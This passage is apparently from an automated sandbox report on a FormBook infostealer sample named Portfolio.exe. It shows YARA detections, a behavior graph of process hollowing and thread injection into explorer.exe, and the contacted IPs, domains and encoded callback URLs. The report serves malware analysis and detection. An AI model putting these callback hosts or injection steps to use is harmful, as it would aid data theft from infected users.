Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000003.00000002.294841079.0000000001620000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501446234.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.293921450.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.294742769.00000000015F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.500122632.0000000003030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.501316678.0000000004E10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.252926038.00000000045D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.Portfolio.exe.400000.0.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 385265 Sample: Portfolio.exe Startdate: 12/04/2021 Architecture: WINDOWS Score: 100 31 clientconfig.passport.net 2->31 33 www.andersensweddinginvitations.com 2->33 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 Multi AV Scanner detection for submitted file 2->45 47 6 other signatures 2->47 11 Portfolio.exe 3 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\Portfolio.exe.log, ASCII 11->29 dropped 57 Tries to detect virtualization through RDTSC time measurements 11->57 59 Injects a PE file into a foreign processes 11->59 15 Portfolio.exe 11->15         started        signatures6 process7 signatures8 61 Modifies the context of a thread in another process (thread injection) 15->61 63 Maps a DLL or memory area into another process 15->63 65 Sample uses process hollowing technique 15->65 67 Queues an APC in another process (thread injection) 15->67 18 explorer.exe 15->18 injected process9 dnsIp10 35 www.timcrozier.com 168.206.243.213, 49718, 80 CLAYERLIMITED-AS-APClayerLimitedHK South Africa 18->35 37 fromthepittothepitts.com 72.167.241.46, 49726, 80 AS-26496-GO-DADDY-COM-LLCUS United States 18->37 39 3 other IPs or domains 18->39 49 System process connects to network (likely due to code injection or exploit) 18->49 22 mstsc.exe 18->22         started        signatures11 process12 signatures13 51 Modifies the context of a thread in another process (thread injection) 22->51 53 Maps a DLL or memory area into another process 22->53 55 Tries to detect virtualization through RDTSC time measurements 22->55 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
72.167.241.46
 fromthepittothepitts.com United States
26496 AS-26496-GO-DADDY-COM-LLCUS true
34.102.136.180
 scaledsales.com United States
15169 GOOGLEUS false
168.206.243.213
 www.timcrozier.com South Africa
137951 CLAYERLIMITED-AS-APClayerLimitedHK true

Contacted Domains

Name IP Active
fromthepittothepitts.com 72.167.241.46 true
www.timcrozier.com 168.206.243.213 true
scaledsales.com 34.102.136.180 true
www.andersensweddinginvitations.com 66.96.162.147 true
www.scaledsales.com unknown unknown
www.fromthepittothepitts.com unknown unknown
clientconfig.passport.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
www.fromthepittothepitts.com/dwj/ true
  • Avira URL Cloud: safe
 low
http://www.scaledsales.com/dwj/?Cj=lN985vvxrLh4&HTrLdvY=jCwgb33wmR2YDM1wuLgRTH38yeb9sMyK3XA0ZXE7/yU9OdwyZBI+RqEK8elpwbEptz+b false
  • Avira URL Cloud: safe
 unknown
http://www.fromthepittothepitts.com/dwj/?HTrLdvY=e+9w//LrkNQAvat7yjjfVebmP7O5RIC5nL700LrPx65Ls1GCtX2Cw2Ubn7E5A1TTieM1&Cj=lN985vvxrLh4 true
  • Avira URL Cloud: safe
 unknown
http://www.timcrozier.com/dwj/?Cj=lN985vvxrLh4&HTrLdvY=vjdFX+deElwkJL3jjCyofcRGlviK7hY6fmHNPu6niYhLdTNZ+9C3ClVYQHWQZWwEwEGo true
  • Avira URL Cloud: safe
 unknown